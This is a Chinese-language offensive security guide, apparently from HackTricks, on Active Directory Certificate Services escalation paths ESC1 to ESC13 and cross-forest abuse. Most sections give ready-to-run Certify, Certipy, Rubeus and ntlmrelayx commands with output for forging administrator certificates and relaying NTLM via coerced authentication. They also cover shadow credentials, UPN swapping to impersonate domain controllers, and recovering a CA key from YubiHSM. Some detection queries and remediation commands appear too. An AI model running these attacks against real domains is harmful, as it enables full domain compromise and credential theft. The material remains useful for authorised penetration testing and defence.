AD CS Domain Escalation

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

这是有关升级技术部分的摘要:

配置错误的证书模板 - ESC1

解释

解释配置错误的证书模板 - ESC1

  • 企业CA向低特权用户授予注册权限。

  • 不需要经理批准。

  • 不需要来自授权人员的签名。

  • 证书模板上的安全描述符过于宽松,允许低特权用户获取注册权限。

  • 证书模板配置为定义促进身份验证的EKU:

  • 包括扩展密钥用途(EKU)标识,如客户端身份验证(OID 1.3.6.1.5.5.7.3.2)、PKINIT客户端身份验证(1.3.6.1.5.2.3.4)、智能卡登录(OID 1.3.6.1.4.1.311.20.2.2)、任何目的(OID 2.5.29.37.0)或无EKU(子CA)。

  • 模板允许请求者在证书签名请求(CSR)中包含subjectAltName:

  • 如果存在,Active Directory(AD)会优先使用证书中的subjectAltName(SAN)进行身份验证。这意味着通过在CSR中指定SAN,可以请求证书以冒充任何用户(例如,域管理员)。请求者是否可以指定SAN在证书模板的AD对象中通过mspki-certificate-name-flag属性指示。此属性是一个位掩码,CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT标志的存在允许请求者指定SAN。

所述配置允许低特权用户请求具有任意选择的SAN的证书,从而通过Kerberos或SChannel进行任何域主体的身份验证。

有时启用此功能以支持产品或部署服务的即时生成HTTPS或主机证书,或由于缺乏理解。

值得注意的是,使用此选项创建证书会触发警告,当复制现有证书模板(例如启用了CT_FLAG_ENROLLEE_SUPPLIES_SUBJECTWebServer模板)然后修改以包含身份验证OID时,情况并非如此。

滥用

查找易受攻击的证书模板,您可以运行:

Certify.exe find /vulnerable
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128

利用这个漏洞冒充管理员,可以运行:

Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'

然后,您可以将生成的证书转换为.pfx格式,并再次使用它来使用Rubeus或certipy进行身份验证

Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100

Windows 二进制文件 "Certreq.exe" 和 "Certutil.exe" 可用于生成 PFX:https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee

可以通过运行以下 LDAP 查询来枚举 AD Forest 配置架构中的证书模板,特别是那些不需要批准或签名、具有客户端身份验证或智能卡登录 EKU,并启用了 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 标志的证书模板:

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))

配置错误的证书模板 - ESC2

解释

第二种滥用场景是第一种的变体:

  1. 企业 CA 向低权限用户授予注册权限。

  2. 禁用了经理批准的要求。

  3. 省略了授权签名的需求。

  4. 证书模板上的过于宽松的安全描述符授予了低权限用户的证书注册权限。

  5. 证书模板被定义为包含 Any Purpose EKU 或没有 EKU。

Any Purpose EKU 允许攻击者为任何目的获取证书,包括客户端认证、服务器认证、代码签名等。可以使用与 ESC3 中使用的相同技术来利用这种情况。

没有 EKUs 的证书,作为下级 CA 证书,可以被滥用为任何目的,也可以用于签署新证书。因此,攻击者可以利用下级 CA 证书指定新证书中的任意 EKUs 或字段。

然而,为域认证创建的新证书如果下级 CA 未被**NTAuthCertificates对象信任,则将无法正常工作,这是默认设置。尽管如此,攻击者仍然可以创建具有任何 EKU 和任意证书值的新证书。这些可能会被潜在地滥用**于各种目的(例如代码签名、服务器认证等),并且可能对网络中的其他应用程序(如 SAML、AD FS 或 IPSec)产生重大影响。

要枚举符合 AD Forest 配置模式中此场景的模板,可以运行以下 LDAP 查询:

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))

配置错误的注册代理模板 - ESC3

解释

这种情况类似于前两种,但是滥用了不同的 EKU(证书请求代理)和2个不同的模板(因此有2组要求)。

证书请求代理 EKU(OID 1.3.6.1.4.1.311.20.2.1),在微软文档中称为注册代理,允许主体代表另一个用户证书申请注册

“注册代理”在这种模板中注册,并使用生成的证书共同签署代表其他用户的 CSR。然后发送共同签署的 CSR 到 CA,在允许“代表注册”的模板中注册,CA 会回复一个属于“其他”用户的证书

要求 1:

  • 企业 CA 授予低特权用户注册权限。

  • 不需要经理批准。

  • 不需要授权签名。

  • 证书模板的安全描述符过于宽松,授予低特权用户注册权限。

  • 证书模板包含证书请求代理 EKU,允许代表其他主体请求其他证书模板。

要求 2:

  • 企业 CA 授予低特权用户注册权限。

  • 绕过经理批准。

  • 模板的模式版本为 1 或超过 2,并指定了一个需要证书请求代理 EKU 的应用程序策略签发要求。

  • 证书模板中定义的 EKU 允许域身份验证。

  • CA 上未应用注册代理的限制。

滥用

您可以使用 CertifyCertipy 来滥用这种情况:

# Request an enrollment agent certificate
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local' -ca 'corp-CA' -template 'templateName'

# Enrollment agent certificate to issue a certificate request on behalf of
# another user to a template that allow for domain authentication
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf
certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'

# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf

允许获得注册代理证书用户,允许注册代理进行注册的模板,以及注册代理可以代表的帐户,可以受到企业CA的限制。这可以通过打开certsrc.msc 快捷方式右键单击CA单击属性,然后导航到“注册代理”选项卡来实现。

然而,值得注意的是,CA的默认设置是“不限制注册代理”。当管理员启用对注册代理的限制时,将其设置为“限制注册代理”,默认配置仍然非常宽松。它允许所有人访问并在所有模板中进行注册。

可脆弱的证书模板访问控制 - ESC4

解释

证书模板上的安全描述符定义了特定AD主体对模板拥有的权限

如果攻击者具有足够的权限更改一个模板实施前面章节中概述的任何可利用的配置错误,则可能促成特权升级。

适用于证书模板的显着权限包括:

  • **所有者:**授予对对象的隐式控制,允许修改任何属性。

  • **完全控制:**允许完全控制对象,包括修改任何属性的能力。

  • **WriteOwner:**允许将对象的所有者更改为攻击者控制下的主体。

  • **WriteDacl:**允许调整访问控制,可能授予攻击者完全控制。

  • **WriteProperty:**授权编辑任何对象属性。

滥用

类似于先前的特权升级的一个示例:

ESC4是指用户对证书模板具有写权限。例如,这可以被滥用以覆盖证书模板的配置,使模板容易受到ESC1的影响。

如上路径所示,只有JOHNPC拥有这些权限,但我们的用户JOHN具有新的AddKeyCredentialLink边缘到JOHNPC。由于这个技术与证书有关,我也实施了这个攻击,这被称为Shadow Credentials。这里是Certipy的shadow auto命令的一小部分,用于检索受害者的NT哈希。

certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'

Certipy 可以使用一条命令覆盖证书模板的配置。默认情况下,Certipy会覆盖配置以使其容易受到 ESC1 的攻击。我们还可以指定 -save-old 参数来保存旧的配置,这在攻击后恢复配置时会很有用。

# Make template vuln to ESC1
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old

# Exploit ESC1
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC4-Test -upn administrator@corp.local

# Restore config
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json

脆弱的PKI对象访问控制 - ESC5

解释

相互连接的基于ACL的关系网络涵盖了除了证书模板和证书颁发机构之外的多个对象,可能会影响整个AD CS系统的安全性。这些对象对安全性有重大影响,包括:

  • CA服务器的AD计算机对象,可能会通过S4U2Self或S4U2Proxy等机制而受损。

  • CA服务器的RPC/DCOM服务器。

  • 特定容器路径CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>内的任何后代AD对象或容器。该路径包括但不限于证书模板容器、证书颁发机构容器、NTAuthCertificates对象和Enrollment Services容器。

如果低权限攻击者设法控制这些关键组件中的任何一个,PKI系统的安全性可能会受到损害。

EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6

解释

CQure Academy文章中讨论的主题也涉及到Microsoft概述的**EDITF_ATTRIBUTESUBJECTALTNAME2标志的影响。当在证书颁发机构(CA)上激活此配置时,允许在任何请求主题备用名称中包含用户定义的值**,包括那些由Active Directory®构建的请求。因此,此配置允许入侵者通过为域认证设置的任何模板进行注册,特别是那些对非特权用户开放的用户模板。结果,可以获得一个证书,使入侵者能够作为域管理员或域内的任何其他活动实体进行身份验证。

注意:通过在certreq.exe中使用-attrib "SAN:"参数(称为“名称值对”)将备用名称附加到证书签名请求(CSR)中,与ESC1中对SAN的利用策略形成对比。这里的区别在于帐户信息如何封装—在证书属性中,而不是在扩展中。

滥用

要验证设置是否已激活,组织可以使用以下命令与certutil.exe

certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"

这个操作基本上使用了远程注册表访问,因此,另一种方法可能是:

reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags

工具如CertifyCertipy能够检测到这种错误配置并利用它:

# Detect vulnerabilities, including this one
Certify.exe find

# Exploit vulnerability
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local

要更改这些设置,假设拥有域管理员权限或等效权限,可以从任何工作站执行以下命令:

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2

要在您的环境中禁用此配置,可以使用以下命令删除标志:

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2

在 2022 年 5 月安全更新之后,新发布的证书将包含一个安全扩展,其中包含了请求者的 objectSid 属性。对于 ESC1,此 SID 是从指定的 SAN 派生的。然而,对于ESC6,SID 反映了请求者的 objectSid,而不是 SAN。 要利用 ESC6,系统必须容易受到 ESC10(弱证书映射)的影响,该映射将SAN 优先于新的安全扩展

易受攻击的证书颁发机构访问控制 - ESC7

攻击 1

解释

证书颁发机构的访问控制是通过一组权限来维护的,这些权限管理着 CA 的操作。可以通过访问 certsrv.msc,右键单击 CA,选择属性,然后导航到安全选项卡来查看这些权限。此外,可以使用 PSPKI 模块来枚举权限,例如:

Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access

这提供了关于主要权限的见解,即**ManageCAManageCertificates**,分别对应“CA管理员”和“证书管理员”的角色。

滥用

在证书颁发机构拥有**ManageCA权限使主体能够使用PSPKI远程操纵设置。这包括切换EDITF_ATTRIBUTESUBJECTALTNAME2**标志,以允许在任何模板中指定SAN,这是域提升的关键方面。

通过使用PSPKI的Enable-PolicyModuleFlag cmdlet,可以简化此过程,允许在没有直接GUI交互的情况下进行修改。

拥有**ManageCertificates**权限可促使批准待处理请求,有效地规避“CA证书管理员批准”保障。

CertifyPSPKI模块的组合可用于请求、批准和下载证书:

# Request a certificate that will require an approval
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
[...]
[*] CA Response      : The certificate is still pending.
[*] Request ID       : 336
[...]

# Use PSPKI module to approve the request
Import-Module PSPKI
Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -RequestID 336 | Approve-CertificateRequest

# Download the certificate
Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336

攻击 2

解释

上一次攻击中,使用了**Manage CA权限来启用EDITF_ATTRIBUTESUBJECTALTNAME2标志以执行ESC6攻击**,但在重启CA服务(CertSvc)之前,这不会产生任何效果。当用户拥有Manage CA访问权限时,用户也被允许重新启动服务。然而,这并不意味着用户可以远程重新启动服务。此外,由于2022年5月的安全更新,ESC6在大多数已打补丁的环境中可能无法直接使用

因此,这里提出另一种攻击。

先决条件:

  • 仅具有**ManageCA权限**

  • 具有**Manage Certificates权限(可以从ManageCA**授予)

  • 必须启用证书模板**SubCA(可以从ManageCA**启用)

该技术依赖于具有Manage CAManage Certificates访问权限的用户可以发出失败的证书请求SubCA证书模板易受ESC1攻击,但只有管理员可以在模板中注册。因此,用户可以请求注册**SubCA** - 将被拒绝 - 但然后由管理员签发

滥用

您可以通过将您的用户添加为新官员来**授予自己Manage Certificates**访问权限。

certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'John' on 'corp-DC-CA'

SubCA 模板可以使用 -enable-template 参数在 CA 上启用。默认情况下,SubCA 模板已启用。

# List templates
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
## If SubCA is not there, you need to enable it

# Enable SubCA
certipy ca -ca 'corp-DC-CA' -enable-template SubCA -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'corp-DC-CA'

如果我们已经满足了这次攻击的先决条件,我们可以开始通过基于SubCA模板请求证书

这个请求将被拒绝,但我们会保存私钥并记录请求ID。

certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 785
Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate

通过我们的 Manage CAManage Certificates,然后我们可以使用 ca 命令和 -issue-request <request ID> 参数来 发出失败的证书 请求。

certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate

最后,我们可以使用 req 命令和 -retrieve <request ID> 参数检索已发放的证书

certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Rerieving certificate with ID 785
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate has no object SID
[*] Loaded private key from '785.key'
[*] Saved certificate and private key to 'administrator.pfx'

NTLM Relay to AD CS HTTP Endpoints – ESC8

解释

在安装了AD CS的环境中,如果存在一个易受攻击的 web 登记端点,并且至少发布了一个允许域计算机登记和客户端认证证书模板(例如默认的**Machine模板),那么任何启用 spooler 服务的计算机都有可能被攻击者入侵**!

AD CS支持几种基于HTTP的登记方法,通过管理员安装的附加服务器角色提供。这些用于基于HTTP的证书登记的接口容易受到NTLM中继攻击的影响。攻击者可以从受损的计算机上冒充通过入站NTLM进行身份验证的任何AD帐户。在冒充受害者帐户的同时,攻击者可以访问这些 web 接口,以请求使用UserMachine证书模板的客户端认证证书

  • web 登记接口(位于http://<caserver>/certsrv/的较旧的ASP应用程序)默认仅支持HTTP,不提供对NTLM中继攻击的保护。此外,它通过其授权HTTP标头明确允许仅通过NTLM进行身份验证,使更安全的身份验证方法如Kerberos无法应用。

  • 证书登记服务(CES)、证书登记策略(CEP)Web 服务和网络设备登记服务(NDES)默认支持通过其授权HTTP标头进行协商身份验证。协商身份验证同时支持Kerberos和NTLM,允许攻击者在中继攻击期间降级到NTLM身份验证。尽管这些 web 服务默认启用HTTPS,但仅使用HTTPS无法防范NTLM中继攻击。对于HTTPS服务,防范NTLM中继攻击只有在HTTPS与通道绑定结合时才可能。遗憾的是,AD CS没有在IIS上激活扩展保护以进行身份验证,这是通道绑定所需的。

NTLM中继攻击的一个常见问题NTLM会话的短暂持续时间以及攻击者无法与需要NTLM签名的服务进行交互。

然而,通过利用NTLM中继攻击来获取用户的证书,可以克服这一限制,因为证书的有效期决定了会话的持续时间,并且证书可以与要求NTLM签名的服务一起使用。有关使用窃取的证书的说明,请参阅:

pageAD CS Account Persistence

NTLM中继攻击的另一个限制是攻击者控制的计算机必须由受害者帐户进行身份验证。攻击者可以等待或尝试强制进行此身份验证:

pageForce NTLM Privileged Authentication

滥用

Certifycas列举了已启用的HTTP AD CS端点

Certify.exe cas

msPKI-Enrollment-Servers属性被企业证书颁发机构(CAs)用来存储证书颁发服务(CES)端点。可以通过利用工具Certutil.exe来解析并列出这些端点:

certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA

```powershell Import-Module PSPKI Get-CertificationAuthority | select Name,Enroll* | Format-List * ```

滥用Certify

## In the victim machine
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
PortBender redirect 445 8445
rportfwd 8445 127.0.0.1 445
# Prepare a proxy that the attacker can use
socks 1080

## In the attackers
proxychains ntlmrelayx.py -t http://<AC Server IP>/certsrv/certfnsh.asp -smb2support --adcs --no-http-server

# Force authentication from victim to compromised machine with port forwards
execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <compromised>

利用 Certipy

Certipy默认根据中继的帐户名称是否以$结尾来基于MachineUser模板发出证书请求。可以通过使用-template参数来指定替代模板。

然后可以使用类似 PetitPotam 的技术来强制进行身份验证。在处理域控制器时,需要指定-template DomainController

certipy relay -ca ca.corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Targeting http://ca.corp.local/certsrv/certfnsh.asp
[*] Listening on 0.0.0.0:445
[*] Requesting certificate for 'CORP\\Administrator' based on the template 'User'
[*] Got certificate with UPN 'Administrator@corp.local'
[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...

无安全扩展 - ESC9

解释

新值 CT_FLAG_NO_SECURITY_EXTENSION (0x80000) 用于 msPKI-Enrollment-Flag 的 ESC9,防止在证书中嵌入 新的 szOID_NTDS_CA_SECURITY_EXT 安全扩展。当 StrongCertificateBindingEnforcement 设置为 1(默认设置)时,此标志变得重要,与设置为 2 相对。在较弱的证书映射(如 ESC10)可能被利用的情况下,其重要性在于,如果没有 ESC9,则不会改变要求。

设置此标志变得重要的条件包括:

  • StrongCertificateBindingEnforcement 未调整为 2(默认为 1),或 CertificateMappingMethods 包括 UPN 标志。

  • 证书在 msPKI-Enrollment-Flag 设置中标记为带有 CT_FLAG_NO_SECURITY_EXTENSION 标志。

  • 证书指定了任何客户端身份验证 EKU。

  • 可以通过任何帐户获得 GenericWrite 权限以妥协另一个帐户。

滥用场景

假设 John@corp.local 拥有对 Jane@corp.localGenericWrite 权限,目标是妥协 Administrator@corp.localJane@corp.local 被允许注册的 ESC9 证书模板在其 msPKI-Enrollment-Flag 设置中配置了 CT_FLAG_NO_SECURITY_EXTENSION 标志。

首先,使用 Shadow 凭据获取 Jane 的哈希,感谢 JohnGenericWrite

certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane

随后,JaneuserPrincipalName 被修改为 Administrator,故意省略了 @corp.local 域部分:

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator

这种修改不违反约束条件,因为 Administrator@corp.local 作为 AdministratoruserPrincipalName 仍然保持不同。

随后,请求标记为易受攻击的 ESC9 证书模板,请求者为 Jane

certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9

这里注意到证书的 userPrincipalName 反映了 Administrator,没有任何“object SID”。

然后将 JaneuserPrincipalName 恢复为她的原始名称 Jane@corp.local

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local

尝试使用颁发的证书进行身份验证现在会产生Administrator@corp.local的NT哈希。由于证书缺乏域规范,命令必须包括-domain <domain>

certipy auth -pfx adminitrator.pfx -domain corp.local

弱证书映射 - ESC10

解释

域控制器上的两个注册表键值由ESC10引用:

  • HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\SchannelCertificateMappingMethods 的默认值为 0x18 (0x8 | 0x10), 先前设置为 0x1F.

  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\KdcStrongCertificateBindingEnforcement 的默认设置为 1, 先前为 0.

情况1

StrongCertificateBindingEnforcement 配置为 0 时。

情况2

如果 CertificateMappingMethods 包括 UPN 位 (0x4).

滥用案例1

StrongCertificateBindingEnforcement 配置为 0 时,具有 GenericWrite 权限的帐户A可以被利用来危害任何帐户B。

例如,拥有对 Jane@corp.localGenericWrite 权限,攻击者旨在危害 Administrator@corp.local。该过程与ESC9相似,允许使用任何证书模板。

首先,使用Shadow凭据利用 GenericWrite 获取 Jane 的哈希。

certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane

随后,JaneuserPrincipalName 被更改为 Administrator,故意省略了 @corp.local 部分,以避免违反约束。

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator

以下是以Jane身份请求启用客户端认证的证书,使用默认的User模板。

certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>

JaneuserPrincipalName然后被恢复为其原始值Jane@corp.local

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local

使用获得的证书进行身份验证将产生Administrator@corp.local的NT哈希,由于证书中缺少域详细信息,需要在命令中指定域。

certipy auth -pfx administrator.pfx -domain corp.local

滥用案例 2

使用包含 UPN 位标志 (0x4) 的 CertificateMappingMethods,具有 GenericWrite 权限的帐户 A 可以 compromise 任何缺少 userPrincipalName 属性的帐户 B,包括机器帐户和内置域管理员 Administrator

在这里,目标是通过 Shadow Credentials 获得 Jane 的哈希,利用 GenericWrite 来 compromise DC$@corp.local

certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane

JaneuserPrincipalName然后设置为DC$@corp.local

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'

一个用于客户端认证的证书被请求,使用默认的User模板作为Jane

certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>

JaneuserPrincipalName在此过程后被恢复为原始值。

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'

要通过Schannel进行身份验证,使用Certipy的-ldap-shell选项,指示身份验证成功为u:CORP\DC$

certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell

通过LDAP shell,诸如 set_rbcd 的命令可以启用基于资源的受限委派(RBCD)攻击,可能危及域控制器。

certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell

这个漏洞还涉及到任何缺少 userPrincipalName 的用户账户,或者其 userPrincipalNamesAMAccountName 不匹配的情况,因为默认的 Administrator@corp.local 具有较高的 LDAP 权限,并且默认情况下没有 userPrincipalName,因此成为主要目标。

将 NTLM 中继到 ICPR - ESC11

解释

如果 CA 服务器未配置 IF_ENFORCEENCRYPTICERTREQUEST,则可以通过 RPC 服务进行未签名的 NTLM 中继攻击。参考链接

您可以使用 certipy 枚举是否已禁用 Enforce Encryption for Requests,certipy 将显示 ESC11 漏洞。

$ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
Certipy v4.0.0 - by Oliver Lyak (ly4k)

Certificate Authorities
0
CA Name                             : DC01-CA
DNS Name                            : DC01.domain.local
Certificate Subject                 : CN=DC01-CA, DC=domain, DC=local
....
Enforce Encryption for Requests     : Disabled
....
[!] Vulnerabilities
ESC11                             : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue

滥用场景

需要设置一个中继服务器:

$ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Targeting rpc://DC01.domain.local (ESC11)
[*] Listening on 0.0.0.0:445
[*] Connecting to ncacn_ip_tcp:DC01.domain.local[135] to determine ICPR stringbinding
[*] Attacking user 'Administrator@DOMAIN'
[*] Template was not defined. Defaulting to Machine/User
[*] Requesting certificate for user 'Administrator' with template 'User'
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 10
[*] Got certificate with UPN 'Administrator@domain.local'
[*] Certificate object SID is 'S-1-5-21-1597581903-3066826612-568686062-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...

注意:对于域控制器,我们必须在 DomainController 中指定 -template

或者使用 sploutchy 的 impacket 分支

$ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support

使用YubiHSM访问ADCS CA的Shell访问 - ESC12

解释

管理员可以设置证书颁发机构将其存储在外部设备上,如"Yubico YubiHSM2"。

如果USB设备通过USB端口连接到CA服务器,或者如果CA服务器是虚拟机,则需要一个身份验证密钥(有时称为"密码")供密钥存储提供程序生成和使用YubiHSM中的密钥。

此密钥/密码以明文形式存储在注册表中的 HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword

参考 这里

滥用场景

如果CA的私钥存储在物理USB设备上,当您获得shell访问时,就有可能恢复密钥。

首先,您需要获取CA证书(这是公共的),然后:

# import it to the user store with CA certificate
$ certutil -addstore -user my <CA certificate file>

# Associated with the private key in the YubiHSM2 device
$ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>

最后,使用certutil -sign命令使用CA证书及其私钥伪造一个新的任意证书。

OID组链接滥用 - ESC13

解释

msPKI-Certificate-Policy属性允许将签发策略添加到证书模板中。负责签发策略的msPKI-Enterprise-Oid对象可以在PKI OID容器的配置命名上下文(CN=OID,CN=Public Key Services,CN=Services)中找到。可以使用此对象的msDS-OIDToGroupLink属性将策略链接到AD组,从而使系统能够授权呈现证书的用户,就好像他是该组的成员一样。参考此处

换句话说,当用户有权限注册证书并且证书链接到OID组时,用户可以继承此组的特权。

使用Check-ADCSESC13.ps1查找OIDToGroupLink:

Enumerating OIDs
------------------------
OID 23541150.FCB720D24BC82FBD1A33CB406A14094D links to group: CN=VulnerableGroup,CN=Users,DC=domain,DC=local

OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------
Enumerating certificate templates
------------------------
Certificate template VulnerableTemplate may be used to obtain membership of CN=VulnerableGroup,CN=Users,DC=domain,DC=local

Certificate template Name: VulnerableTemplate
OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------

滥用场景

查找一个用户权限,可以使用 certipy findCertify.exe find /showAllPermissions

如果 John 有权限注册 VulnerableTemplate,则用户可以继承 VulnerableGroup 组的特权。

只需指定模板,就可以获得具有 OIDToGroupLink 权限的证书。

certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'

通过证书解释被动语态下的森林妥协

通过被入侵的CA打破森林信任

跨森林注册的配置相对简单。资源森林的根CA证书由管理员发布到账户森林,资源森林的企业CA证书添加到每个账户森林的NTAuthCertificates和AIA容器中。澄清一下,这种安排赋予了资源森林中的CA对其管理的所有其他森林完全控制。如果这个CA被攻击者入侵,则资源和账户森林中所有用户的证书可能被他们伪造,从而打破了森林的安全边界。

授予外部主体的注册特权

在多森林环境中,需要谨慎处理发布证书模板的企业CA,这些模板允许经过身份验证的用户或外部主体(属于企业CA所属森林之外的用户/组)注册和编辑权限。 在跨域认证时,AD会将经过身份验证的用户SID添加到用户的令牌中。因此,如果一个域拥有一个允许经过身份验证的用户注册权限的企业CA模板,一个来自不同森林的用户可能会注册该模板。同样,如果模板明确授予外部主体注册权限,则会创建一个跨森林访问控制关系,使一个森林的主体能够在另一个森林中注册模板

这两种情况都会导致从一个森林到另一个森林的攻击面增加。证书模板的设置可能被攻击者利用,以在外部域中获取额外权限。

最后更新于